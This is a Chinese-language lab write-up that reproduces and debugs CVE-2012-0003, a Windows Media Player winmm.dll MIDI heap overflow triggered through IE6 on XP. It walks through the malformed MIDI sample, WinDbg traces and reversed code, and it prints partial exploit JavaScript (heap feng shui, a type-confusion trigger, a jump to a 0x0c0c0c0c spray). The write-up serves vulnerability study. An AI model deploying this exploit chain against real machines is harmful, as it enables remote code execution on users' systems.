本文主要是介绍动手实验 CVE-2012-0003 Microsoft Windows Media Player winmm.dll MIDI文件堆溢出(坑多),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 一、MIDI文件格式
- 1.header chunk
- 2.Track Chunks
- 3.test_case.mid分析
- 二、漏洞调试
- 1.漏洞环境
- 2.触发漏洞
- 3.ida查看反汇编代码
- 三、漏洞利用
- 修改shellcode
- 四、总结及参考
还是动手实践的堆溢出的调试记录,了解了 堆的调试技巧、 IE的调试、以及一个很精彩的 漏洞利用方式(堆溢出,只能将一个字节+1的情况下如何利用?应该属于 类型混淆吧)类似这个比较相似的利用原理
https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf
一、MIDI文件格式
MIDI文件由chunk组成,每个chunk由4字节的type(ascii字符如’MThd’)+ 4字节data len + data组成
chunk有两种类型:
- header chunk(头块):包含整个MIDI文件的基本信息。type为’MThd’
- track chunk(音轨块):包含最多16个MIDI通道数据流,包含MIDI序列、模式、歌曲信息。type为’MTrk’
1.header chunk
header chunk在文件的开头,记录了MIDI文件的基本信息
可以表示为<Header Chunk> = <chunk type><length><format><ntrks><division>
- chunk type:4字节,固定为’MThd‘
- lenght:4字节,数据长度,固定为6(00 00 00 06)
- format:2字节,文件类型
0表示the file contains a single multi-channel track(单个multi-channe)
1表示the file contains one or more simultaneous tracks (or MIDI outputs) of a sequence
2表示the file contains one or more sequentially independent single-track patterns - ntrks:音轨数(format为0时固定为1)
- division:时间计数值,节拍?根据15bit分为两种类型。0为ticks per quarter-note,1为negative SMPTE format
2.Track Chunks
音轨块实际存储歌曲数据,每个块就是一个MIDI数据流可表示为<Track Chunk> = <chunk type><length><MTrk event>+
+号表示可以有多个MTrk event。
MTrk event可以有多个,表示为<MTrk event> = <delta-time><event>
delta-time:间隔时间?如果两个事件同时发生则表示为0。variable Length Quantity类型
event:事件信息可以是下面3种事件中的一种,可表示为<event> = <MIDI event> | <sysex event> | <meta-event>
。基本形式都是MIDI Message+Data Bytes+Data。具体的看的信息可以去参考详细event解析
3.test_case.mid分析
拿《漏洞战争》中的样本test_case.mid分析,这里使用了LarryS的分析结果
4D 54 68 64 // MThd 四字节的type信息,表示这是一个header trunk
00 00 00 06 // 四字节length信息,表示该header trunk后面的长度是6字节
00 00 // Format = 0, 表示文件只包含一个multi-channel track
00 01 // num of tracks = 1,和format = 0相对应
00 60 // 对delta-times的解释,第15位为0,所以后面0x60表示ticks per quarter-note,是个音乐概念,不太懂
4D 54 72 6B // MTrk 四字节的type信息,表示这是一个track trunk
00 00 00 35 // 四字节length信息,表示该track trunk后面的长度是53字节
00 // delta-time, 这块数据采用的是variable length quantity
FF 03 0D 44 72 75 6D 73 20 20 20 28 42 42 29 00 // meta-event,sequence的名字:Drums (BB)
00 C9 28 // 新的program数值为40
00 B9 07 64 // 音量变化
00 B9 0A 40 // Pan?? 不知道是什么
00 B9 7B 00 // 所有音符结束
00 B9 5B 28 // 效果1深度
00 B9 5D 00 // 效果3深度
85 50 99 23 7F //85 50是delta-time 0x23号音符开始
00 9F B2 73 // 0xB2号音符开始,注意这里B2的最高比特位是1,是不合法的
00 FF 2F 00 // track结束
二、漏洞调试
1.漏洞环境
环境 | 备注 | |
---|---|---|
操作系统 | windows XP sp3 | 中文版 |
漏洞模块 | winmm.dll | 5.1.2600.5512 |
漏洞环境 | IExplore | 6.00.2900.5512 |
2.触发漏洞
为IE添加hpa保护,方便调试
将《漏洞战争》中的样本cve-2012-0003-ie6.htm和test_case.mid复制到实验环境中,双击htm再用windbg附加。点击允许阻止的内容,安全警告点击“是”。
漏洞点在0x76b2d224 mov al,byte ptr[esi]。esi无法访问
0:007> g
(acc.24c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=03149019 edi=27cfef60
eip=76b2d224 esp=2821fe80 ebp=2821fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:03149019=??
查看esi的堆信息,堆起始为0x3148c00,大小为0x400。esi超过堆的界限所以报错
0:010> !heap -p -a esiaddress 03149019 found in_DPH_HEAP_ROOT @ 141000in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)3d847f8: 3148c00 400 - 3148000 2000
查看调用情况(需要在windbg里面设置symbols否则函数识别会出错),确定漏洞出在WINMM.dll中。查看WINMM.dll的信息
0:010> kb
ChildEBP RetAddr Args to Child
2821fea0 76b2d2e5 b2e81ad0 76b2d296 00000010 WINMM!midiOutPlayNextPolyEvent+0x1ec
2821feb4 76b154e3 00000010 00000000 00000ea6 WINMM!midiOutTimerTick+0x4f
2821fedc 76b2adfe 76b2d296 00000003 00000010 WINMM!DriverCallback+0x5c
2821ff18 76b2af02 00000010 015c0000 b1cebd08 WINMM!TimerCompletion+0xf4
2821ffb4 7c80b713 00000000 015c0000 015c0000 WINMM!timeThread+0x53
2821ffec 00000000 76b2aeaf 00000000 00000000 kernel32!BaseThreadStart+0x370:010> lm vm WINMM
start end module name
76b10000 76b3a000 WINMM (pdb symbols) c:\windows\symbols\dll\winmm.pdbLoaded symbol image file: C:\WINDOWS\system32\WINMM.dllImage path: C:\WINDOWS\system32\WINMM.dllImage name: WINMM.dllTimestamp: Mon Apr 14 10:13:53 2008 (4802BDE1)CheckSum: 0002C65DImageSize: 0002A000File version: 5.1.2600.5512Product version: 5.1.2600.5512File flags: 0 (Mask 3F)File OS: 40004 NT Win32File type: 2.0 DllFile date: 00000000.00000000Translations: 0804.04b0CompanyName: Microsoft CorporationProductName: Microsoft(R) Windows(R) Operating SystemInternalName: winmm.dllOriginalFilename: WINMM.DLLProductVersion: 5.1.2600.5512FileVersion: 5.1.2600.5512 (xpsp.080413-0845)FileDescription: MCI API DLLLegalCopyright: (C) Microsoft Corporation. All rights reserved.
3.ida查看反汇编代码
在midiOutPlayNextPolyEvent函数中将影响最终访问的代码列出来
v2 = *(WPARAM **)(wParam + 60);
v2[9] += 4;
v7 = v2[9];
v7 += 4;v8 = *(_DWORD *)(v7 + wParama)
v10 = v8&0xffffff
v17 = v10
if ( (v10 & 0x80u) != 0 )
{wParam_3a = BYTE1(v10);
}
else
{v17 = *(_BYTE *)(wParam + 84);wParam_3a = v10;
}
v16 = *(_DWORD *)(wParam + 0x84);
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 )
{v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;...v20 = (char *)(v19 + v16);v21 = *v20; // 漏洞产生点
}
按照导图推算的方法给所有关键的变量设置断点记录每次运行时的变化
//关键的赋值
76B2D041 mov edi, [ebp+wParam] ; wParam edi
76B2D050 mov esi, [edi+3Ch] ;v2 esi
76B2D09D add ebx, 4 ;v7 ebx
76B2D0B5 mov ecx, [ebx+eax] ;v8 ecx
76B2D0C3 and ecx, 0FFFFFFh ;v10 ecx
76B2D1C7 mov al, cl ;v17 al
76B2D1EB mov byte ptr [ebp+wParam+3], dl;wParam+3 dl
76B2D1D0 mov byte ptr [ebp+wParam+3], cl;wParam+3 cl
76B2D1CD mov al, [edi+54h] ;v17 al
76B2D212 sar eax, 1 ;v19 eax
76B2D21E add esi, eax ;v20 esi
76B2D224 mov al, [esi] ; 漏洞点
//给设置断点并记录信息
bu 76B2D044 ".echo 'wParam';r edi;g;"
bu 76B2D053 ".echo 'v2';r esi;g;"
bu 76B2D0A0 ".echo 'v7';r ebx;g;"
bu 76B2D0B8 ".echo 'v8';r ecx;g;"
bu 76B2D0C9 ".echo 'v10';r ecx;g;"
bu 76B2D1C9 ".echo 'v17';r al;g;"
bu 76B2D1D0 ".echo 'v17';r al;.echo 'wParam_3a';r cl;g;"
bu 76B2D1EB ".echo 'wParam_3a';r dl;g;"
bu 76B2D214 ".echo 'v19';r eax;g;"
bu 76B2D220 ".echo 'v16';r esi;g;"
bu 76B2D224 ".echo 'v20';r esi;g;"
两次运行之后得到如下信息,对比test_case.mid可知
-
v2没有改变
-
v7每次增长0xC
-
v8和v10相同
-
最关键的是v17对应的是MIDI文件的事件码,wParam_3a对应事件码后面的参数信息
-
第二次运行时,v16明显是基址,v19为偏移
偏移的计算(v19)过程
偏移过大的产生:0x419 = (0xB2+0xF<<7)/2
基址的计算(v16)
v16 = *(_DWORD *)(wParam + 0x84)。wParam为函数调用时传入的参数。交叉引用可以知道midiOutTimerTick调用了midiOutPlayNextPolyEvent
所以wParam= *(_DWORD *)(gpEmuList+0x84)
继续查看gpEmuList的交叉引用
所以最终wParam=winmmAlloc(0x400)
,这也是为什么堆的大小是0x400
漏洞可以做什么?
能对目标进行加1操作,条件为[(wParam_3a&1) == 0 &&( v22&0xF)≠0xF]
-
一次溢出读一字节
-
对溢出读的内容加1
-
对溢出点写回
三、漏洞利用
漏洞能够对某个地址的值+1。下面是部分利用代码
- 创建了select对象selob
- 为selob分配了64个属性,其中w1为string对象,其他为object对象
- 创建一个大小为1000的数组clones,并调用selob.clone进行复制
- 间隔释放clones数组中的元素,目的是创造很多0x400的空闲堆,使MIDI能够申请到。
var selob = document.createElement("select")
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
selob.w56 = alert
selob.w57 = alert
selob.w58 = alert
selob.w59 = alert
selob.w60 = alert
selob.w61 = alert
selob.w62 = alert
selob.w63 = alertvar clones=new Array(1000);function feng_shui() {var i = 0;while (i < 1000) {clones[i] = selob.cloneNode(true)i = i + 1;}var j = 0;while (j < 1000) {delete clones[j];CollectGarbage();j = j + 2;}}feng_shui();
查看mshtml.dll(处理ie中html解析模块)中用于处理元素复制的函数CElement::Clone,CElement::Clone会调用CAttrArray::Clone
- 创建CAttrArray结构体
- EnsureSize调整大小为0x10*0x40(属性数量)=0x400。(出现了和LarryS师傅一样的问题,这里是0x42)
- 从不是0x3开头的元素开始复制(b1==3应该都是header类型)
- 最后会为元素数组添加header
//这是自己猜测的CAttrArray结构体,主要关注前两个字段
struct CAttrArray{DWORD nSize;//元素数组大小struct CAttrValue* ptrAttrArray;//指向AttrArray元素数组DWORD unkonw;//这次漏洞没有用到不做分析
}
//只保留了最关键的代码
int __thiscall CAttrArray::Clone(CAttrArray *this, struct CAttrArray **a2)
{v3 = (CAttrArray *)_MemAlloc(0xCu);v4 = CAttrArray::CAttrArray(v3); // 创建CAttrArray结构体v17 = CImplAry::EnsureSize(v4, 0x10u, *(_DWORD *)this >> 2);// 根据传入的CAttrArray计算大小v9 = *((_DWORD *)this + 1);//CAttrArray保存元素属性的地址 while(1){if ( *(_BYTE *)v9 != 3 || v19 ) // 从开头不是0x03的元素(即b1!=3)才能复制{v17 = CAttrValue::Copy((CAttrValue *)v8, (const struct CAttrValue *)v9);// 循环复制}}v21 = (struct CAttrArray **)CAttrArray::EnsureHeader(*a2, 1);// 为元素数组添加Header(0x10大小)
}
在EnsureSizey函数下断点查看申请的堆大小应该是0x10*0x42=0x420。ecx中保存了CAttrArray结构体,查看可知最后分配了0x480大小的堆。这和我们的目标0x400不一致。
0:007> g
Breakpoint 0 hit
eax=0176c370 ebx=0176c28c ecx=0176c370 edx=00000042 esi=017698b0 edi=00000000
eip=7e38e7ff esp=0012de68 ebp=0012de90 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CAttrArray::Clone+0x5a:
7e38e7ff e8acb8eeff call mshtml!CImplAry::EnsureSize (7e27a0b0)
0:000> dd esp L3
0012de68 00000010 00000042 00000000
0:000> p
eax=00000000 ebx=0176c28c ecx=7c9301bb edx=00140608 esi=017698b0 edi=00000000
eip=7e38e804 esp=0012de70 ebp=0012de90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CAttrArray::Clone+0x5f:
7e38e804 85c0 test eax,eax
0:000> dd 0176c370
0176c370 00000000 001d5778 00000000 00000000
0176c380 00000000 00000000 00000000 00000000
0176c390 00000000 00000000 00000000 00000000
0176c3a0 00000000 00000000 00000000 00000000
0176c3b0 00000000 00000000 00000000 00000000
0176c3c0 00000000 00000000 00000000 00000000
0176c3d0 00000000 00000000 00000000 00000000
0176c3e0 00000000 00000000 00000000 00000000
0:000> !heap -p -a 001d5778 address 001d5778 found in_HEAP @ 140000HEAP_ENTRY Size Prev Flags UserPtr UserSize - state001d5770 0091 0000 [01] 001d5778 00480 - (busy)
先假设exp没问题,继续看如何触发执行
3. 当漏洞触发时,midi能够申请到clones其中一个被释放的堆快,并且会将0x08修改为0x09
4. 判断w1的属性是否不是string(即是否被修改),成功修改则去执行。会调用CAttrValue::GetIntoVariant
5. 因为已经将类型修改为0x09最后会去0x0c0c0c0c执行shellcode。
function trigger(){var k = 999;while (k > 0) {if (typeof(clones[k].w1) == "string") {} else {clones[k].w1('come on!');}k = k - 2;}feng_shui();document.audio.Play();}
这里有两个问题
- 为什么一开始给的属性个数是0x42?
- 为什么CImplAry::EnsureSize之后大小是0x480而不是0x42?
先解决第2个问题,具体看一下EnsureSize代码。EnsureSize会对给的属性个数进行对齐,0x42对齐之后变成了0x48,所以最后堆大小为0x480。
int __thiscall CImplAry::EnsureSize(CImplAry *this, SIZE_T dwBytes, unsigned int a3)
{v3 = a3;//v3 a3表示属性个数0x42v5 = dwBytes;//后面dwBytes是临时变量存放计算的结果a3 = UIntAdd(v3, 7u, &dwBytes);//0x42+7=0x49v6 = v3 >= 8 ? dwBytes & 0xFFFFFFF8 : v3;//结合上面的+7,就是为了向上和8对齐,0x49变成0x48a3 = UIntMult(v6, v5, &dwBytes);//0x48*0x10=0x480得到真正大小v13 = (void *)_MemAlloc(dwBytes);//开辟0x480的内容
}
再解决第1个问题,在CAttrArray::Clone函数开头下断点查看用于复制的内容,根据前面猜测AttrArray结构体可知nszie为0x108(0x108>>2等于0x42),02330d78中保存了CAttrValue数组,除了前两行(第一行应该是header,第二行没找到出处),后面和我们在js中设置的符合。
这里猜测,在设置select属性之前,select的父类设置了1个基本属性并且在数组开头设置了header,导致我们设置了64个属性后占了66个属性的空间,再加上EnsureSize的对齐操作最后导致申请了0x480的堆
0:000> bp 7E38E7A5
0:000> g
(1f8.894): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:007> g
Breakpoint 0 hit
eax=0176c28c ebx=00000058 ecx=01769530 edx=0012dea8 esi=01769e80 edi=00000000
eip=7e38e7a5 esp=0012de94 ebp=0012df28 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CAttrArray::Clone:
7e38e7a5 8bff mov edi,edi
//查看AttrArray结构体
0:000> dd ecx
01769530 00000108 02330d78 16e37040 00000000
01769540 00000902 002dc6c1 00000000 01769f70
01769550 00000004 00310077 00000000 00000000
01769560 00000902 002dc6c1 00000000 01769f70
01769570 00000802 002dc6c2 00000000 001b000c
01769580 7e4b6188 00000002 7e2234ac 01769fa0
01769590 7e26da30 00000000 00000000 00000000
017695a0 00000004 00000000 00000000 00000000
//查看数组内容
0:000> db 02330d78
02330d78 03 81 00 00 00 00 00 80-00 00 00 00 40 c2 76 01 ............@.v.
02330d88 03 0d 00 00 f5 13 01 80-00 00 00 00 78 bf 39 00 ............x.9.
02330d98 02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01 ......-.....p.v.
02330da8 02 08 00 00 c2 c6 2d 00-00 00 00 00 0c 00 1b 00 ......-.........
02330db8 02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01 ......-.......v.
02330dc8 02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01 ......-.......v.
02330dd8 02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01 ......-.....p.v.
02330de8 02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01 ......-.......v.
//计算元素个数
0:000> ?108>>2
Evaluate expression: 66 = 00000042
//查看堆信息
0:000> !heap -p -a 02330d78address 02330d78 found in_HEAP @ 140000HEAP_ENTRY Size Prev Flags UserPtr UserSize - state02330d70 0091 0000 [01] 02330d78 00480 - (busy)
在CAttrArray::Clone中的MemAlloc之后下断点,查看eax得到CAttrArray对象,再在CAttrArray::Clone返回之前下断点查看复制完成后的CAttrArray对象。结合前面的CAttrArray::Clone代码,可知在复制的时候只会将b1=0x02的属性进行复制,最后在EnsureHeader添加Header
0:000> bp 7E38E7BD
0:000> bp 7E38E7EB
0:000> g
(6dc.454): Break instruction exception - code 80000003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:007> g
Breakpoint 0 hit
eax=0176c370 ebx=00000058 ecx=0000c000 edx=7e4b5de0 esi=01769530 edi=00000000
eip=7e38e7bd esp=0012de70 ebp=0012de90 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CAttrArray::Clone+0x18:
7e38e7bd 85c0 test eax,eax
0:000> dd eax
0176c370 00000000 00000000 00000000 00000000
0176c380 00000000 00000000 00000000 00000000
0176c390 00000000 00000000 00000000 00000000
0176c3a0 00000000 00000000 00000000 00000000
0176c3b0 00000000 00000000 00000000 00000000
0176c3c0 00000000 00000000 00000000 00000000
0176c3d0 00000000 00000000 00000000 00000000
0176c3e0 00000000 00000000 00000000 00000000
0:000> g
Breakpoint 1 hit
eax=001d5778 ebx=0176c28c ecx=00000104 edx=00000000 esi=00000000 edi=02231198
eip=7e38e7eb esp=0012de70 ebp=0012de90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CAttrArray::Clone+0x46:
7e38e7eb 8b45f4 mov eax,dword ptr [ebp-0Ch] ss:0023:0012de84=00000000
0:000> dd 0176c370
0176c370 00000104 001d5778 16e37040 00000000
0176c380 ffffffff 00000000 00000000 00000000
0176c390 00000000 00000000 00000000 00000000
0176c3a0 00000000 00000000 00000000 00000000
0176c3b0 00000000 00000000 00000000 00000000
0176c3c0 00000000 00000000 00000000 00000000
0176c3d0 00000000 00000000 00000000 00000000
0176c3e0 00000000 00000000 00000000 00000000
0:000> db 001d5778
001d5778 03 81 00 00 00 00 00 80-00 00 00 00 80 c3 76 01 ..............v.
001d5788 02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01 ......-.....p.v.
001d5798 02 08 00 00 c2 c6 2d 00-00 00 00 00 bc af 1a 00 ......-.........
001d57a8 02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01 ......-.......v.
001d57b8 02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01 ......-.......v.
001d57c8 02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01 ......-.....p.v.
001d57d8 02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01 ......-.......v.
001d57e8 02 09 00 00 c7 c6 2d 00-00 00 00 00 c0 9a 76 01 ......-.......v.
修改shellcode
根据前面EnsureSize的规则和EnsureHeader的了解,我们需要将原来的w0去除(因为多了一个header),使w1还是在原来的偏移处,还需要去掉最后一个w63,使clone时申请0x400大小。为了测试把堆喷的shellcode改成calc.exe。
四、总结及参考
最大的坑在设置属性的个数上。其他的触发和书上一样。
最后感谢LarryS的文章,基本都是照着看。本来想探索一下属性设置的过程(实力有限呀)
参考
《漏洞战争》
CVE-2012-0003 winmm.dll MIDI文件堆溢出漏洞分析及利用
Standard MIDI-File Format Spec. 1.1, updated
https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf
这篇关于动手实验 CVE-2012-0003 Microsoft Windows Media Player winmm.dll MIDI文件堆溢出(坑多)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!